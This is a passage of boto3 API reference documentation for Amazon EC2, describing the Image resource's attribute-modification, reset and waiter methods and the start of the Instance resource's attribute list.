System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 :1-16,384 + - io1 and io2 : 4-16,384 + - st1 : 500-16,384 + - sc1 : 500-16,384 + - standard : 1-1,024 + - **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + - **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + - **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + - **ImageId** _(string) --_ + + The ID of the AMI. + + - **LaunchPermissions** _(list) --_ + + The launch permissions. + + - _(dict) --_ + + Describes a launch permission. + + - **Group** _(string) --_ + + The name of the group. + + - **UserId** _(string) --_ + + The AWS account ID. + + - **ProductCodes** _(list) --_ + + The product codes. + + - _(dict) --_ + + Describes a product code. + + - **ProductCodeId** _(string) --_ + + The product code. + + - **ProductCodeType** _(string) --_ + + The type of product code. + + - **Description** _(dict) --_ + + A description for the AMI. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **KernelId** _(dict) --_ + + The kernel ID. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **RamdiskId** _(dict) --_ + + The RAM disk ID. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **SriovNetSupport** _(dict) --_ + + Indicates whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_images()](#EC2.Client.describe_images "EC2.Client.describe_images") to update the attributes of the Image resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +image.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies the specified attribute of the specified AMI. You can specify only one attribute at a time. You can use the Attribute parameter to specify the attribute or one of the following parameters: Description , LaunchPermission , or ProductCode . + +AWS Marketplace product codes cannot be modified. Images with an AWS Marketplace product code cannot be made public. + +To enable the SriovNetSupport enhanced networking attribute of an image, enable SriovNetSupport on an instance and create an AMI from the instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyImageAttribute) + +**Request Syntax** + +response = image.modify_attribute( + Attribute='string', + Description={ + 'Value': 'string' + }, + LaunchPermission={ + 'Add': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'Remove': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ] + }, + OperationType='add'|'remove', + ProductCodes=[ + 'string', + ], + UserGroups=[ + 'string', + ], + UserIds=[ + 'string', + ], + Value='string', + DryRun=True|False +) + +Parameters + +- **Attribute** (_string_) -- The name of the attribute to modify. The valid values are description , launchPermission , and productCodes . +- **Description** (_dict_) -- + + A new description for the AMI. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **LaunchPermission** (_dict_) -- + + A new launch permission for the AMI. + + - **Add** _(list) --_ + + The AWS account ID to add to the list of launch permissions for the AMI. + + - _(dict) --_ + + Describes a launch permission. + + - **Group** _(string) --_ + + The name of the group. + + - **UserId** _(string) --_ + + The AWS account ID. + + - **Remove** _(list) --_ + + The AWS account ID to remove from the list of launch permissions for the AMI. + + - _(dict) --_ + + Describes a launch permission. + + - **Group** _(string) --_ + + The name of the group. + + - **UserId** _(string) --_ + + The AWS account ID. + +- **OperationType** (_string_) -- The operation type. This parameter can be used only when the Attribute parameter is launchPermission . +- **ProductCodes** (_list_) -- + + The DevPay product codes. After you add a product code to an AMI, it can't be removed. + + - _(string) --_ +- **UserGroups** (_list_) -- + + The user groups. This parameter can be used only when the Attribute parameter is launchPermission . + + - _(string) --_ +- **UserIds** (_list_) -- + + The AWS account IDs. This parameter can be used only when the Attribute parameter is launchPermission . + + - _(string) --_ +- **Value** (_string_) -- The value of the attribute being modified. This parameter can be used only when the Attribute parameter is description or productCodes . +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_images()](#EC2.Client.describe_images "EC2.Client.describe_images") to update the attributes of the Image resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +image.reload() + +Returns + +None + +reset_attribute(kwargs_) + +Resets an attribute of an AMI to its default value. + +Note + +The productCodes attribute can't be reset. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetImageAttribute) + +**Request Syntax** + +response = image.reset_attribute( + Attribute='launchPermission', + DryRun=True|False +) + +Parameters + +- **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute to reset (currently you can only reset the launch permission attribute). + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_exists(kwargs_) + +Waits until this Image is exists. This method calls EC2.Waiter.image_exists.wait() which polls. [EC2.Client.describe_images()](#EC2.Client.describe_images "EC2.Client.describe_images") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImages) + +**Request Syntax** + +image.wait_until_exists( + ExecutableUsers=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + Owners=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **ExecutableUsers** (_list_) -- + + Scopes the images by users with explicit launch permissions. Specify an AWS account ID, self (the sender of the request), or all (public AMIs). + + - _(string) --_ +- **Filters** (_list_) -- + + The filters. + + - architecture - The image architecture (i386 | x86_64 | arm64 ). + - block-device-mapping.delete-on-termination - A Boolean value that indicates whether the Amazon EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.snapshot-id - The ID of the snapshot used for the EBS volume. + - block-device-mapping.volume-size - The volume size of the EBS volume, in GiB. + - block-device-mapping.volume-type - The volume type of the EBS volume (gp2 | io1 | io2 | st1 | sc1 | standard ). + - block-device-mapping.encrypted - A Boolean that indicates whether the EBS volume is encrypted. + - description - The description of the image (provided during image creation). + - ena-support - A Boolean that indicates whether enhanced networking with ENA is enabled. + - hypervisor - The hypervisor type (ovm | xen ). + - image-id - The ID of the image. + - image-type - The image type (machine | kernel | ramdisk ). + - is-public - A Boolean that indicates whether the image is public. + - kernel-id - The kernel ID. + - manifest-location - The location of the image manifest. + - name - The name of the AMI (provided during image creation). + - owner-alias - The owner alias, from an Amazon-maintained list (amazon | aws-marketplace ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + - owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + - platform - The platform. To only list Windows-based AMIs, use windows . + - product-code - The product code. + - product-code.type - The type of the product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - state - The state of the image (available | pending | failed ). + - state-reason-code - The reason code for the state change. + - state-reason-message - The message for the state change. + - sriov-net-support - A value of simple indicates that enhanced networking with the Intel 82599 VF interface is enabled. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - virtualization-type - The virtualization type (paravirtual | hvm ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **Owners** (_list_) -- + + Scopes the results to images with the specified owners. You can specify a combination of AWS account IDs, self , amazon , and aws-marketplace . If you omit this parameter, the results include all images for which you have launch permissions, regardless of ownership. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +[Instance](#id1240) +-------------------------------------------------------------- + +_class_ EC2.Instance(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Instance: + +import boto3 + +ec2 = boto3.resource('ec2') +instance = ec2.Instance('id') + +Parameters + +**id** (_string_) -- The Instance's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.Instance.id "EC2.Instance.id") + +These are the resource's available attributes: + +- [ami_launch_index](#EC2.Instance.ami_launch_index "EC2.Instance.ami_launch_index") +- [architecture](#EC2.Instance.architecture "EC2.Instance.architecture") +- [block_device_mappings](#EC2.Instance.block_device_mappings "EC2.Instance.block_device_mappings") +- [capacity_reservation_id](#EC2.Instance.capacity_reservation_id "EC2.Instance.capacity_reservation_id") +- [capacity_reservation_specification](#EC2.Instance.capacity_reservation_specification "EC2.Instance.capacity_reservation_specification") +- [client_token](#EC2.Instance.client_token "EC2.Instance.client_token") +- [cpu_options](#EC2.Instance.cpu_options "EC2.Instance.cpu_options") +- [ebs_optimized](#EC2.Instance.ebs_optimized "EC2.Instance.ebs_optimized") +- [elastic_gpu_associations](#EC2.Instance.elastic_gpu_associations "EC2.Instance.elastic_gpu_associations") +- [elastic_inference_accelerator_associations](#EC2.Instance.elastic_inference_accelerator_associations "EC2.Instance.elastic_inference_accelerator_associations") +- [ena_support](#EC2.Instance.ena_support "EC2.Instance.ena_support") +- [enclave_options](#EC2.Instance.enclave_options "EC2.Instance.enclave_options") +- [hibernation_options](#EC2.Instance.hibernation_options "EC2.Instance.hibernation_options") +- [hypervisor](#EC2.Instance.hypervisor "EC2.Instance.hypervisor") +- [iam_instance_profile](#EC2.Instance.iam_instance_profile "EC2.Instance.iam_instance_profile") +- [image_id](#EC2.Instance.image_id "EC2.Instance.image_id") +- [instance_id](#EC2.Instance.instance_id "EC2.Instance.instance_id") +- [instance_lifecycle](#EC2.Instance.instance_lifecycle "EC2.Instance.instance_lifecycle") +- [instance_type](#EC2.Instance.instance_type "EC2.Instance.instance_type") +- [kernel_id](#EC2.Instance.kernel_id "EC2.Instance.kernel_id") +- [key_name](#EC2.Instance.key_name "EC2.Instance.key_name") +- [launch_time](#EC2.Instance.launch_time "EC2.Instance.launch_time") +- [licenses](#EC2.Instance.licenses "EC2.Instance.licenses") +- [metadata_options](#EC2.Instance.metadata_options "EC2.Instance.metadata_options") +- [monitoring](#EC2.Instance.monitoring "EC2.Instance.monitoring") +- [network_interfaces_attribute](#EC2.Instance.network_interfaces_attribute "EC2.Instance.network_interfaces_attribute") +- [outpost_arn](#EC2.Instance.outpost_arn "EC2.Instance.outpost_arn") +- [placement](#EC2.Instance.placement "EC2.Instance.placement") +- [platform](#EC2.Instance.platform "EC2.Instance.platform") +- [private_dns_name](#EC2.Instance.private_dns_name "EC2.Instance.private_dns_name") +- [private_ip_address](#EC2.Instance.private_ip_address "EC2.Instance.private_ip_address") +- [product_codes](#EC2.Instance.product_codes "EC2.Instance.product_codes") +- [public_dns_name](#EC2.Instance.public_dns_name "EC2.Instance.public_dns_name") +- [public_ip_address](#EC2.Instance.public_ip_address "EC2.Instance.public_ip_address") +- [ramdisk_id](#EC2.Instance.ramdisk_id "EC2.Instance.ramdisk_id") +- [root_device_name](#EC2.Instance.root_device_name "EC2.Instance.root_device_name") +- [root_device_type](#EC2.Instance.root_device_type "EC2.Instance.root_device_type") +- [security_groups](#EC2.Instance.security_groups "EC2.Instance.security_groups") +- [source_dest_check](#EC2.Instance.source_dest_check "EC2.Instance.source_dest_check") +- [spot_instance_request_id](#EC2.Instance.spot_instance_request_id "EC2.Instance.spot_instance_request_id") +- [sriov_net_support](#EC2.Instance.sriov_net_support "EC2.Instance.sriov_net_support") +- [state](#EC2.Instance.state "EC2.Instance.state") +- [state_reason](#EC2.Instance.state_reason "EC2.Instance.state_reason") +- [state_transition_reason](#EC2.Instance.state_transition_reason "EC2.Instance.state_transition_reason") +- [subnet_id](#EC2.Instance.subnet_id "EC2.Instance.subnet_id") +- [tags](#EC2.Instance.tags "EC2.Instance.tags") +- [virtualization_type](#EC2.Instance.virtualization_type "EC2.Instance.virtualization_type") +- [vpc_id](#EC2.Instance.vpc_id "EC2.Instance.vpc_id") + +These are the resource's available references: + +- [classic_address](#EC2.Instance.classic_address "EC2.Instance.classic_address") +- [image](#EC2.Instance.image "EC2.Instance.image") +- [key_pair](#EC2.Instance.key_pair "EC2.Instance.key_pair") +- [network_interfaces](#EC2.Instance.network_interfaces "EC2.Instance.network_interfaces") +- [placement_group](#EC2.Instance.placement_group "EC2.Instance.placement_group") +- [subnet](#EC2.Instance.subnet "EC2.Instance.subnet") +- [vpc](#EC2.Instance.vpc "EC2.Instance.vpc") + +These are the resource's available actions: + +- [attach_classic_link_vpc()](#EC2.Instance.attach_classic_link_vpc "EC2.Instance.attach_classic_link_vpc") +- [attach_volume()](#EC2.Instance.attach_volume "EC2.Instance.attach_volume") +- [console_output()](#EC2.Instance.console_output "EC2.Instance.console_output") +- [create_image()](#EC2.Instance.create_image "EC2.Instance.create_image") +- [create_tags()](#EC2.Instance.create_tags "EC2.Instance.create_tags") +- [delete_tags()](#EC2.Instance.delete_tags "EC2.Instance.delete_tags") +- [describe_attribute()](#EC2.Instance.describe_attribute "EC2.Instance.describe_attribute") +- [detach_classic_link_vpc()](#EC2.Instance.detach_classic_link_vpc "EC2.Instance.detach_classic_link_vpc") +- [detach_volume()](#EC2.Instance.detach_volume "EC2.Instance.detach_volume") +- [get_available_subresources()](#EC2.Instance.get_available_subresources "EC2.Instance.get_available_subresources") +- [load()](#EC2.Instance.load "EC2.Instance.load") +- [modify_attribute()](#EC2.Instance.modify_attribute "EC2.Instance.modify_attribute") +- [monitor()](#EC2.Instance.monitor "EC2.Instance.monitor") +- [password_data()](#EC2.Instance.password_data "EC2.Instance.password_data") +- [reboot()](#EC2.Instance.reboot "EC2.Instance.reboot") +- [reload()](#EC2.Instance.reload "EC2.Instance.reload") +- [report_status()](#EC2.Instance.report_status "EC2.Instance.report_status") +- [reset_attribute()](#EC2.Instance.reset_attribute "EC2.Instance.reset_attribute") +- [reset_kernel()](#EC2.Instance.reset_kernel "EC2.Instance.reset_kernel") +- [reset_ramdisk()](#EC2.Instance.reset_ramdisk "EC2.Instance.reset_ramdisk") +- [reset_source_dest_check()](#EC2.Instance.reset_source_dest_check "EC2.Instance.reset_source_dest_check") +- [start()](#EC2.Instance.start "EC2.Instance.start") +- [stop()](#EC2.Instance.stop "EC2.Instance.stop") +- [terminate()](#EC2.Instance.terminate "EC2.Instance.terminate") +- [unmonitor()](#EC2.Instance.unmonitor "EC2.Instance.unmonitor") + +These are the resource's available collections: + +- [volumes](#EC2.Instance.volumes "EC2.Instance.volumes") +- [vpc_addresses](#EC2.Instance.vpc_addresses "EC2.Instance.vpc_addresses") + +These are the resource's available waiters: + +- [wait_until_exists()](#EC2.Instance.wait_until_exists "EC2.Instance.wait_until_exists") +- [wait_until_running()](#EC2.Instance.wait_until_running "EC2.Instance.wait_until_running") +- [wait_until_stopped()](#EC2.Instance.wait_until_stopped "EC2.Instance.wait_until_stopped") +- [wait_until_terminated()](#EC2.Instance.wait_until_terminated "EC2.Instance.wait_until_terminated") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Instance's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Instance.load "EC2.Instance.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +ami_launch_index + +- _(integer) --_ + + The AMI launch index, which can be used to find this instance in the launch group. + + +architecture + +- _(string) --_ + + The architecture of the image. + + +block_device_mappings + +- _(list) --_ + + Any block device mapping entries for the instance. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + - **Status** _(string) --_ + + The attachment state. + + - **VolumeId** _(string) --_ + + The ID of the EBS volume. + + +capacity_reservation_id + +- _(string) --_ + + The ID of the Capacity Reservation. + + +capacity_reservation_specification + +- _(dict) --_ + + Information about the Capacity Reservation targeting option. + + - **CapacityReservationPreference** _(string) --_ + + Describes the instance's Capacity Reservation preferences. Possible preferences include: + + - open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + - none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs in On-Demand capacity. + - **CapacityReservationTarget** _(dict) --_ + + Information about the targeted Capacity Reservation or Capacity Reservation group. + + - **CapacityReservationId** _(string) --_ + + The ID of the targeted Capacity Reservation. + + - **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the targeted Capacity Reservation group. + + +client_token + +- _(string) --_ + + The idempotency token you provided when you launched the instance, if applicable. + + +cpu_options + +- _(dict) --_ + + The CPU options for the instance. + + - **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + - **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. + + +ebs_optimized + +- _(boolean) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + +elastic_gpu_associations + +- _(list) --_ + + The Elastic GPU associated with the instance. + + - _(dict) --_ + + Describes the association between an instance and an Elastic Graphics accelerator. + + - **ElasticGpuId** _(string) --_ + + The ID of the Elastic Graphics accelerator. + + - **ElasticGpuAssociationId** _(string) --_ + + The ID of the association. + + - **ElasticGpuAssociationState** _(string) --_ + + The state of the association between the instance and the Elastic Graphics accelerator. + + - **ElasticGpuAssociationTime** _(string) --_ + + The time the Elastic Graphics accelerator was associated with the instance. + + +elastic_inference_accelerator_associations + +- _(list) --_ + + The elastic inference accelerator associated with the instance. + + - _(dict) --_ + + Describes the association between an instance and an elastic inference accelerator. + + - **ElasticInferenceAcceleratorArn** _(string) --_ + + The Amazon Resource Name (ARN) of the elastic inference accelerator. + + - **ElasticInferenceAcceleratorAssociationId** _(string) --_ + + The ID of the association. + + - **ElasticInferenceAcceleratorAssociationState** _(string) --_ + + The state of the elastic inference accelerator. + + - **ElasticInferenceAcceleratorAssociationTime** _(datetime) --_ + + The time at which the elastic inference accelerator is associated with an instance. + + +ena_support + +- _(boolean) --_ + + Specifies whether enhanced networking with ENA is enabled. + + +enclave_options + +- _(dict) --_ + + Indicates whether the instance is enabled for AWS Nitro Enclaves. + + - **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + +hibernation_options + +- _(dict) --_ + + Indicates whether the instance is enabled for hibernation. + + - **Configured** _(boolean) --_ + + If this parameter is set to true , your instance is enabled for hibernation; otherwise, it is not enabled for hibernation. + + +hypervisor + +- _(string) --_ + + The hypervisor type of the instance. The value xen is used for both Xen and Nitro hypervisors. + + +iam_instance_profile + +- _(dict) --_ + + The IAM instance profile associated with the instance, if applicable. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + - **Id** _(string) --_ + + The ID of the instance profile. + + +image_id + +- _(string) --_ + + The ID of the AMI used to launch the instance. + + +instance_id + +- _(string) --_ + + The ID of the instance. + + +instance_lifecycle + +- _(string) --_ + + Indicates whether this is a Spot Instance or a Scheduled Instance. + + +instance_type + +- _(string) --_ + + The instance type. + + +kernel_id + +- _(string) --_ + + The kernel associated with this instance, if applicable. + + +key_name + +- _(string) --_ + + The name of the key pair, if this instance was launched with an associated key pair. + + +launch_time + +- _(datetime) --_ + + The time the instance was launched. + + +licenses + +- _(list) --_ + + The license configurations. + + - _(dict) --_ + + Describes a license configuration. + + - **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + + +metadata_options + +- _(dict) --_ + + The metadata options for the instance. + + - **State** _(string) --_ + + The state of the metadata option changes. + + > pending - The metadata options are being updated and the instance is not ready to process metadata traffic with the new selection. + > + > applied - The metadata options have been successfully applied on the instance. + + - **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credential always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + - **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + - **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + + +monitoring + +- _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +network_interfaces_attribute + +- _(list) --_ + + [EC2-VPC] The network interfaces for the instance. + + - _(dict) --_ + + Describes a network interface. + + - **Association** _(dict) --_ + + The association information for an Elastic IPv4 associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + - **IpOwnerId** _(string) --_ + + The ID of the owner of the Elastic IP address. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + - **Attachment** _(dict) --_ + + The network interface attachment. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **DeviceIndex** _(integer) --_ + + The index of the device on the instance for the network interface attachment. + + - **Status** _(string) --_ + + The attachment state. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **Description** _(string) --_ + + The description. + + - **Groups** _(list) --_ + + One or more security groups. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses associated with the network interface. + + - _(dict) --_ + + Describes an IPv6 address. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + + - **MacAddress** _(string) --_ + + The MAC address. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that created the network interface. + + - **PrivateDnsName** _(string) --_ + + The private DNS name. + + - **PrivateIpAddress** _(string) --_ + + The IPv4 address of the network interface within the subnet. + + - **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses associated with the network interface. + + - _(dict) --_ + + Describes a private IPv4 address. + + - **Association** _(dict) --_ + + The association information for an Elastic IP address for the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + - **IpOwnerId** _(string) --_ + + The ID of the owner of the Elastic IP address. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + - **Primary** _(boolean) --_ + + Indicates whether this IPv4 address is the primary private IP address of the network interface. + + - **PrivateDnsName** _(string) --_ + + The private IPv4 DNS name. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. + + - **SourceDestCheck** _(boolean) --_ + + Indicates whether to validate network traffic to or from this network interface. + + - **Status** _(string) --_ + + The status of the network interface. + + - **SubnetId** _(string) --_ + + The ID of the subnet. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + - **InterfaceType** _(string) --_ + + Describes the type of network interface. + + Valid values: interface | efa + + +outpost_arn + +- _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +placement + +- _(dict) --_ + + The location where the instance launched, if applicable. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + - **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + +platform + +- _(string) --_ + + The value is Windows for Windows instances; otherwise blank. + + +private_dns_name + +- _(string) --_ + + (IPv4 only) The private DNS hostname name assigned to the instance. This DNS hostname can only be used inside the Amazon EC2 network. This name is not available until the instance enters the running state. + + [EC2-VPC] The Amazon-provided DNS server resolves Amazon-provided private DNS hostnames if you've enabled DNS resolution and DNS hostnames in your VPC. If you are not using the Amazon-provided DNS server in your VPC, your custom domain name servers must resolve the hostname as appropriate. + + +private_ip_address + +- _(string) --_ + + The private IPv4 address assigned to the instance. + + +product_codes 